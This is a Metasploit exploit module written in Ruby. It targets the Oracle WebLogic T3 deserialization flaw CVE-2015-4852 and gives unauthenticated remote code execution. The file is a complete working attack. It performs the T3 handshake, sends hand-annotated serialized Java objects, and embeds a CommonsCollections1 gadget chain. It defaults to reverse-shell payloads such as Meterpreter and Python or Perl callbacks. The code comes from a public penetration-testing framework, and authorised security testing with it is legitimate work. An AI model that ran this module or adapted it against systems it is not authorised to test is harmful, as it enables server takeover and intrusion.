1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::JavaDeserialization
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',
17
        'Description' => %q{
18
          An unauthenticated attacker with network access to the Oracle Weblogic Server T3
19
          interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)
20
          to the interface to execute code on vulnerable hosts.
21
        },
22
        'Author' => [
23
          'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
24
          'Stephen Breen',     # Vulnerability Discovery
25
          'Aaron Soto',        # Reverse Engineering JSO and ysoserial blobs
26
          'Steve Embling',     # T3S porting and testing
27
        ],
28
        'License' => MSF_LICENSE,
29
        'References' => [
30
          ['CVE', '2015-4852']
31
        ],
32
        'Privileged' => false,
33
        'Platform' => %w{unix win solaris},
34
        'Targets' => [
35
          [
36
            'Unix',
37
            'Platform' => 'unix',
38
            'Arch' => ARCH_CMD,
39
            'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },
40
            'Payload' => {
41
              'Compat' => { 'PayloadType' => 'cmd' }
42
            }
43
          ],
44
          [
45
            'Windows',
46
            'Platform' => 'win',
47
            'Payload' => {},
48
            'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
49
          ],
50
          [
51
            'Solaris',
52
            'Platform' => 'solaris',
53
            'Arch' => ARCH_CMD,
54
            'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
55
            'Payload' => {
56
              'Space' => 2048,
57
              'DisableNops' => true,
58
              'Compat' =>
59
                {
60
                  'PayloadType' => 'cmd',
61
                  'RequiredCmd' => 'generic perl telnet',
62
                }
63
            }
64
          ]
65
        ],
66
        'DefaultTarget' => 0,
67
        'DisclosureDate' => '2015-01-28',
68
        'Notes' => {
69
          'Reliability' => [REPEATABLE_SESSION],
70
          'Stability' => [CRASH_SAFE],
71
          'SideEffects' => [IOC_IN_LOGS]
72
        }
73
      )
74
    )
75

76
    register_options([
77
      Opt::RPORT(7001),
78
    ])
79

80
    register_advanced_options([
81
      OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
82
    ])
83
  end
84

85
=begin   This check is currently incompatible with the Tcp mixin.  :-(
86
  def check
87
    resp = send_request_cgi(
88
      'method' => 'GET',
89
      'uri'    => '/console/login/LoginForm.jsp'
90
    )
91

92
    return CheckCode::Unknown unless resp && resp.code == 200
93

94
    unless resp.body.include?('Oracle WebLogic Server Administration Console')
95
      vprint_warning("Oracle WebLogic Server banner cannot be found")
96
      return CheckCode::Unknown
97
    end
98

99
    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
100
    unless version
101
      vprint_warning("Oracle WebLogic Server version cannot be found")
102
      return CheckCode::Unknown
103
    end
104

105
    version = Rex::Version.new(version)
106
    vprint_good("Detected Oracle WebLogic Server Version: #{version}")
107
    case
108
    when version.to_s.start_with?('10.3')
109
      return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')
110
    when version.to_s.start_with?('12.1.2')
111
      return CheckCode::Appears unless version > Rex::Version.new('12.1.2.0')
112
    when version.to_s.start_with?('12.1.3')
113
      return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')
114
    when version.to_s.start_with?('12.2')
115
      return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')
116
    end
117

118
    return CheckCode::Safe
119
  end
120
=end
121

122
  def t3_handshake
123
    # retrieved from network traffic
124
    if !datastore['SSL'] || datastore['FORCE_T3']
125
      shake = 't3'
126
    else
127
      shake = 't3s'
128
    end
129
    shake << " 12.2.1\n"
130
    shake << "AS:255\n"
131
    shake << "HL:19\n"
132
    shake << "MS:10000000\n\n"
133

134
    sock.put(shake)
135
    sleep(1)
136
    sock.get_once
137
  end
138

139
  def build_t3_request_object
140
    # T3 request serialized data
141
    # retrieved by watching network traffic
142
    # This is a proprietary, undocumented protocol
143

144
    # TODO: Cite a source for the dissection of in the following 14 lines:
145
    data = '000005c3' # lenght of the packet
146
    data << '01'                                           # CMD_IDENTIFY_REQUEST
147
    data << '65'                                           # QOS
148
    data << '01'                                           # Flags:
149
    #   CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
150
    #   CONTEXT_TX_FLAG = 2
151
    #   CONTEXT_TRACE_FLAG = 4
152
    #   CONTEXT_EXTENDED_FLAG = 8
153
    #   CONTEXT_EXTENDED_USER_FLAG = 16
154
    data << 'ffffffff'                                     # response id
155
    data << 'ffffffff'                                     # invocable id
156
    data << '0000006a'                                     # abbrev offset
157
    data << '0000ea60'                                     # reconnect timeout ??
158

159
    data << '0000001900937b484a'
160
    data << '56fa4a777666f581daa4f5b90e2aebfc607499'
161
    data << 'b4027973720078720178720278700000000a00'
162
    data << '00000300000000000000060070707070707000'
163
    data << '00000a000000030000000000000006007006'
164

165
    data << 'fe010000'                                     # ----- separator -----
166

167
    data << 'aced0005'                                     # JSO v5 header
168
    data << '73'                                           # object header
169
    data << '72001d'                                       # className (29 bytes):
170
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
171
    data << '5461626c65456e747279'                         #     (continued)
172
    data << '2f52658157f4f9ed'                             #   serialVersionUID
173
    data << '0c00007870'                                   #   remainder of object header
174
    data << '72'                                           # object header
175
    data << '00247765626c6f6769632e636f6d6d6f6e2e696e74'   #   className (36 bytes): weblogic.common.internal.PackageInfo
176
    data << '65726e616c2e5061636b616765496e666f'           #     (continued)
177
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
178
    data << '02'                                           #   SC_SERIALIZABLE
179
    data << '0008'                                         #   fieldCount = 8
180
    data << '4900056d616a6f72'                             #     0: Int: major
181
    data << '4900056d696e6f72'                             #     1: Int: minor
182
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
183
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
184
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
185
    data << '4c0009696d706c5469746c65'                     #     5: Obj: implTitle
186
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #        java/lang/String
187
    data << '4c000a696d706c56656e646f72'                   #     6: Obj: implVendor
188
    data << '71007e0003'                                   #        (Handle) 0x007e0003
189
    data << '4c000b696d706c56657273696f6e'                 #     7: Obj: implVersion
190
    data << '71007e0003'                                   #        (Handle) 0x007e0003
191
    data << '78707702000078'                               #   block footers
192

193
    data << 'fe010000'                                     # ----- separator -----
194

195
    data << 'aced0005'                                     # JSO v5 header
196
    data << '7372'                                         #   object header
197
    data << '001d7765626c6f6769632e726a766d2e436c6173'     #   className (29 bytes): weblogic.rjvm.ClassTableEntry
198
    data << '735461626c65456e747279'                       #     (continued)
199
    data << '2f52658157f4f9ed'                             #   serialVersionUID
200
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
201
    data << '00007870'                                     #   remainder of object header
202
    data << '72'                                           # object header
203
    data << '00247765626c6f6769632e636f6d6d6f6e2e696'      #   className (36 bytes): weblogic.common.internal.VersionInfo
204
    data << 'e7465726e616c2e56657273696f6e496e666f'        #     (continued)
205
    data << '972245516452463e'                             #   serialVersionUID
206
    data << '02'                                           #   SC_SERIALIZABLE
207
    data << '0003'                                         #   fieldCount = 3
208
    data << '5b0008'                                       #   array header (8 bytes)
209
    data << '7061636b61676573'                             #     ARRAY NAME = 'packages'
210
    data << '740027'                                       #     TC_STRING className1 (39 bytes)
211
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #       weblogic/common/internal/PackageInfo
212
    data << '6e7465726e616c2f5061636b616765496e666f'       #       (continued)
213
    data << '3b'                                           #       (continued)
214
    data << '4c000e'                                       #   object header (14 bytes)
215
    data << '72656c6561736556657273696f6e'                 #     releaseVersion
216
    data << '740012'                                       #     TC_STRING (18 bytes)
217
    data << '4c6a6176612f6c616e672f537472696e673b'         #       versionInfoAsBytes
218
    data << '5b0012'                                       #   array header (18 bytes)
219
    data << '76657273696f6e496e666f41734279746573'         #     ARRAY NAME = java/lang/String;
220
    data << '740002'                                       #     TC_STRING (2 bytes)
221
    data << '5b42'                                         #       0x5b42 = [B
222
    data << '78'                                           # block footer
223

224
    data << '720024'                                       # class (36 bytes)
225
    data << '7765626c6f6769632e636f6d6d6f6e2e696e'         #   weblogic.common.internal.PackageInfo
226
    data << '7465726e616c2e5061636b616765496e666f'         #     (continued)
227
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
228

229
    data << '02'                                           #   SC_SERIALIZABLE
230
    data << '0008'                                         #   fieldCount = 8
231
    data << '4900056d616a6f72'                             #   0: Int: major
232
    data << '4900056d696e6f72'                             #   1: Int: minor
233
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
234
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
235
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
236
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
237
    data << '71'                                           #      TC_REFERENCE
238
    data << '007e0004'                                     #      Handle = 0x007e0004
239
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
240
    data << '71'                                           #      TC_REFERENCE
241
    data << '007e0004'                                     #      Handle = 0x007e0004
242
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
243
    data << '71'                                           #      TC_REFERENCE
244
    data << '007e0004'                                     #      Handle = 0x007e0004
245
    data << '78'                                           # class footer
246
    data << '70'                                           # TC_NULL
247
    data << '77020000'                                     # BLOCKDATA (2 bytes): 0x0000
248
    data << '78'                                           # block footer
249

250
    data << 'fe010000'                                     # ----- separator -----
251

252
    data << 'aced0005'                                     # JSO v5 header
253
    data << '73'                                           # object header
254
    data << '72001d'                                       # className (29 bytes):
255
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
256
    data << '5461626c65456e747279'                         #     (continued)
257
    data << '2f52658157f4f9ed'                             #   serialVersionUID
258
    data << '0c00007870'                                   #   remainder of object header
259
    data << '720021'                                       # className (33 bytes)
260
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   weblogic.common.internal.PeerInfo
261
    data << '65726e616c2e50656572496e666f'                 #     (continued)
262
    data << '585474f39bc908f1'                             #   serialVersionUID
263
    data << '02'                                           #   SC_SERIALIZABLE
264
    data << '0006'                                         #   fieldCount = 6
265
    data << '4900056d616a6f72'                             #     0: Int: major
266
    data << '4900056d696e6f72'                             #     1: Int: minor
267
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
268
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
269
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
270
    data << '5b00087061636b61676573'                       #     5: Array: packages
271
    data << '740027'                                       #        TC_STRING (39 bytes)
272
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #        Lweblogic/common/internal/PackageInfo;
273
    data << '6e7465726e616c2f5061636b616765496e666f'       #        (continued)
274
    data << '3b'                                           #        (continued)
275
    data << '78'                                           # block footer
276
    data << '720024'                                       # class header
277
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   Name = Lweblogic/common/internal/PackageInfo;
278
    data << '65726e616c2e56657273696f6e496e666f'           #     (continued)
279
    data << '972245516452463e'                             #   serialVersionUID
280
    data << '02'                                           #   SC_SERIALIZABLE
281
    data << '0003'                                         #   fieldCount = 3
282
    data << '5b0008'                                       #   0: Array
283
    data << '7061636b6167657371'                           #      packages
284
    data << '007e0003'                                     #      Handle = 0x00730003
285
    data << '4c000e72656c6561736556657273696f6e'           #   1: Obj: releaseVersion
286
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #      Ljava/lang/String;
287
    data << '5b001276657273696f6e496e666f41734279746573'   #   2: Array: versionInfoAsBytes
288
    data << '740002'                                       #      TC_STRING (2 bytes)
289
    data << '5b42'                                         #      VALUE = 0x5b42 = [B
290
    data << '78'                                           # block footer
291
    data << '720024'                                       # class header
292
    data << '7765626c6f6769632e636f6d6d6f6e2e696e746572'   #   Name = weblogic.common.internal.PackageInfo
293
    data << '6e616c2e5061636b616765496e666f'               #     (continued)
294
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
295
    data << '02'                                           #   SC_SERIALIZABLE
296
    data << '0008'                                         #   fieldCount = 8
297
    data << '4900056d616a6f72'                             #   0: Int: major
298
    data << '4900056d696e6f72'                             #   1: Int: minor
299
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
300
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
301
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
302
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
303
    data << '71'                                           #      TC_REFERENCE
304
    data << '007e0005'                                     #      Handle = 0x007e0005
305
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
306
    data << '71'                                           #      TC_REFERENCE
307
    data << '007e0005'                                     #      Handle = 0x007e0005
308
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
309
    data << '71'                                           #      TC_REFERENCE
310
    data << '007e0005'                                     #      Handle = 0x007e0005
311
    data << '78'                                           # class footer
312
    data << '707702000078'                                 # block footers
313

314
    data << 'fe00ff'                                       # this cruft again.  some kind of footer
315

316
    data << 'fe010000'                                     # ----- separator -----
317

318
    # weblogic.rjvm.JVMID object
319
    data << 'aced0005'                                     # JSO v5 header
320
    data << '73'                                           # object header
321
    data << '720013'                                       #   class header
322
    data << '7765626c6f6769632e726a766d2e4a564d4944'       #     name = 'weblogic.rjvm.JVMID'
323
    data << 'dc49c23ede121e2a'                             #     serialVersionUID
324
    data << '0c'                                           #     EXTERNALIZABLE | BLOCKDATA
325
    data << '0000'                                         #     fieldCount = 0   (!!!)
326
    data << '78'                                           #   block footer
327
    data << '70'                                           # NULL
328
    data << '7750'                                         # block header (80 bytes)
329
    data << '21'                                           #   !
330
    data << '000000000000000000'                           #   9 NULL BYTES
331

332
    data << '0d'                                           #   strLength = 13 bytes
333
    # data << '3139322e3136382e312e323237'                  #   original PoC string = 192.168.1.227
334
    data << '3030302e3030302e3030302e30' #   new string = 000.000.000.0
335
    #      (must be an IP, and length isn't trivially editable)
336
    data << '00'                                           #   \0
337

338
    data << '12'                                           #   strLength = 18 bytes
339
    # data << '57494e2d4147444d565155423154362e6568'        #   original str = WIN-AGDMVQUB1T6.eh
340
    data << rand_text_alphanumeric(18).unpack('H*')[0]
341

342
    data << '83348cd6'                                     #  original = ??? UNKNOWN ???  (Note: Cannot be randomized)
343

344
    data << '000000070000'                                 #   ??? UNKNOWN ???
345
    data << rport.to_s(16).rjust(4, '0')                   #   callback port
346
    data << 'ffffffffffffffffffffffffffffffffffffff'       #   ??? UNKNOWN ???
347
    data << 'ffffffffff'                                   #   ??? UNKNOWN ???
348
    data << '78'                                           # block footer
349

350
    data << 'fe010000'                                     # ----- separator -----
351

352
    # weblogic.rjvm.JVMID object
353
    data << 'aced0005'                                     # JSO v5 header
354
    data << '73'                                           # object header
355
    data << '72'                                           #   class
356
    data << '00137765626c6f6769632e726a766d2e4a564d4944'   #   Name: weblogic.rjvm.JVMID
357
    data << 'dc49c23ede121e2a'                             #   serialVersionUID
358
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
359
    data << '0000'                                         #   fieldCount = 0
360
    data << '78'                                           # end block
361
    data << '70'                                           # TC_NULL
362
    data << '77'                                           # block header
363
    data << '20'                                           #   length = 32 bytes
364
    data << '0114dc42bd071a772700'                         #   old string = ??? UNKNOWN ???
365
    # data << rand_text_alphanumeric(10).unpack('H*')[0]    #     (NOTE: RANDOMIZATION BREAKS THINGS)
366

367
    data << '0d' #   string length = 13 bytes (NOTE: do not edit)
368
    # data << '3234322e3231342e312e323534'                  #   original string = 242.214.1.254
369
    data << '3030302e3030302e3030302e30' #   new string = 000.000.000.0
370
    #      (must be an IP, and length isn't trivially editable)
371

372
    # data << '61863d1d'                                    #   original string = ??? UNKNOWN ???
373
    data << rand_text_alphanumeric(4).unpack('H*')[0]      #   new = randomized
374

375
    data << '00000000'                                     #   NULL BYTES
376
    data << '78'                                           # block footer
377

378
    sock.put([data].pack('H*'))
379
    sleep(1)
380
    sock.get_once
381
  end
382

383
  def send_payload_objdata
384
    # basic weblogic ClassTableEntry object (serialized)
385
    # TODO: WHAT DOES THIS DO?  CAN WE RANDOMIZE ANY OF IT?
386
    objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'
387
    objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'
388
    objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
389

390
    objdata << 'fe010000'                                  # ----- separator -----
391

392
    objdata << 'aced0005'                                  # JSO v5 header
393
    objdata << '73'                                        # object header
394
    objdata << '72'                                        #   class
395
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
396
    objdata << '73735461626c65456e747279'                  #     (cont)
397
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
398
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
399
    objdata << '0000'                                      #   fieldCount = 0
400
    objdata << '7870'                                      #   remaining object header
401
    objdata << '72'                                        # class header
402
    objdata << '00025b42'                                  #   Name: 0x5b42
403
    objdata << 'acf317f8060854e0'                          #   serialVersionUID
404
    objdata << '02'                                        #   SERIALIZABLE
405
    objdata << '0000'                                      #   fieldCount = 0
406
    objdata << '7870'                                      #   class footer
407
    objdata << '77'                                        # block header
408
    objdata << '020000'                                    #   contents = 0x0000
409
    objdata << '78'                                        #   block footer
410

411
    objdata << 'fe010000'                                  # ----- separator -----
412

413
    objdata << 'aced0005'                                  # JSO v5 header
414
    objdata << '73'                                        # object header
415
    objdata << '72'                                        #   class
416
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
417
    objdata << '73735461626c65456e747279'                  #     (cont)
418
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
419
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
420
    objdata << '0000'                                      #   fieldCount = 0
421
    objdata << '7870'                                      #   remaining object header
422
    objdata << '72'                                        # class header
423

424
    objdata << '00135b4c6a6176612e6c616e672e4f626a'        #   Name: [Ljava.lang.Object;
425
    objdata << '6563743b'                                  #     (cont)
426
    objdata << '90ce589f1073296c'                          #   serialVersionUID
427
    objdata << '02'                                        #   SERIALIZABLE
428
    objdata << '0000'                                      #   fieldCount = 0
429
    objdata << '7870'                                      #   remaining object header
430
    objdata << '77'                                        # block header
431
    objdata << '020000'                                    #   contents = 0x0000
432
    objdata << '78'                                        #   block footer
433

434
    objdata << 'fe010000'                                  # ----- separator -----
435

436
    objdata << 'aced0005'                                  # JSO v5 header
437
    objdata << '73'                                        # object header
438
    objdata << '72'                                        #   class
439

440
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
441
    objdata << '73735461626c65456e747279'                  #     (cont)
442
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
443
    objdata << '0c'                                        #   SERIALIZABLE | BLOCKDATA
444
    objdata << '0000'                                      #   fieldCount = 0
445
    objdata << '7870'                                      #   block footer
446
    objdata << '72'                                        # class header
447
    objdata << '00106a6176612e7574696c2e566563746f72'      #   Name: java.util.Vector
448
    objdata << 'd9977d5b803baf01'                          #   serialVersionUID
449
    objdata << '03'                                        #   WRITE_METHOD | SERIALIZABLE
450
    objdata << '0003'                                      #   fieldCount = 3
451
    objdata << '4900116361706163697479496e6372656d656e74'  #   0: Int: capacityIncrement
452
    objdata << '49000c656c656d656e74436f756e74'            #   1: Int: elementCount
453
    objdata << '5b000b656c656d656e7444617461'              #   2: Array: elementData
454
    objdata << '7400135b4c6a6176612f6c616e672f4f626a6563'  #   3: String: [Ljava/lang/Object;
455
    objdata << '743b'                                      #      (cont)
456
    objdata << '7870'                                      #   remaining object header
457
    objdata << '77'                                        # block header
458
    objdata << '020000'                                    #   contents = 0x0000
459
    objdata << '78'                                        #   block footer
460

461
    objdata << 'fe010000'                                  # ----- separator -----
462

463
    java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)
464
    objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
465

466
    objdata << 'fe010000'                                  # ----- separator -----
467

468
    # basic weblogic ImmutableServiceContext object (serialized)
469
    objdata << 'aced0005'                                  # JSO v5 header
470
    objdata << '73'                                        # object header
471
    objdata << '72'                                        #   class
472
    objdata << '00257765626c6f6769632e726a766d2e496d6d75'  #   Name: weblogic.rjvm.ImmutableServiceContext
473
    objdata << '7461626c6553657276696365436f6e74657874'    #     (cont)
474
    objdata << 'ddcba8706386f0ba'                          #   serialVersionUID
475
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
476
    objdata << '0000'                                      #   fieldCount = 0
477
    objdata << '78'                                        #   object footer
478
    objdata << '72'                                        # block header
479
    objdata << '00297765626c6f6769632e726d692e70726f76'    #   Name: weblogic.rmi.provider.BasicServiceContext
480
    objdata << '696465722e426173696353657276696365436f'    #     (cont)
481
    objdata << '6e74657874'                                #     (cont)
482
    objdata << 'e4632236c5d4a71e'                          #   serialVersionUID
483
    objdata << '0c'                                        #     EXTERNALIZABLE | BLOCKDATA
484
    objdata << '0000'                                      #   fieldCount = 0
485
    objdata << '7870'                                      #   block footer
486
    objdata << '77'                                        # block header
487
    objdata << '020600'                                    #   contents = 0x0600
488
    objdata << '7372'                                      #   class descriptor
489
    objdata << '00267765626c6f6769632e726d692e696e7465'    #     Name: weblogic.rmi.internal.MethodDescriptor
490
    objdata << '726e616c2e4d6574686f644465736372697074'    #       (cont)
491
    objdata << '6f72'                                      #       (cont)
492
    objdata << '12485a828af7f67b'                          #     serialVersionUID
493
    objdata << '0c'                                        #     EXTERNALIZABLE | BLOCKDATA
494
    objdata << '0000'                                      #     fieldCount = 0
495
    objdata << '7870'                                      #     class footer
496
    objdata << '77'                                        #   class data
497

498
    # payload << '34002e61757468656e746963617465284c7765'    #     old contents = 0x002e61757468656e746963617465284c7765
499
    # payload << '626c6f6769632e73656375726974792e61636c'    #                    626c6f6769632e73656375726974792e61636c
500
    # payload << '2e55736572496e666f3b290000001b'            #                    2e55736572496e666f3b290000001b
501
    objdata << rand_text_alphanumeric(52).unpack('H*')[0]  #   new = randomized
502
    objdata << '78'                                        #     class footer
503
    objdata << '78'                                        #   block footer
504
    # MISSING OBJECT FOOTER (0x78)
505

506
    objdata << 'fe00ff' # this cruft again.  some kind of footer
507

508
    # sets the length of the stream
509
    data = ((objdata.length >> 1) + 4).to_s(16).rjust(8, '0')
510
    data << objdata
511

512
    sock.put([data].pack('H*'))
513
    sleep(1)
514
    sock.get_once
515
  end
516

517
  def exploit
518
    connect
519

520
    print_status('Sending handshake...')
521
    t3_handshake
522

523
    print_status('Sending T3 request object...')
524
    build_t3_request_object
525

526
    print_status('Sending client object payload...')
527
    send_payload_objdata
528

529
    handler
530
    disconnect
531
  end
532
end
533

534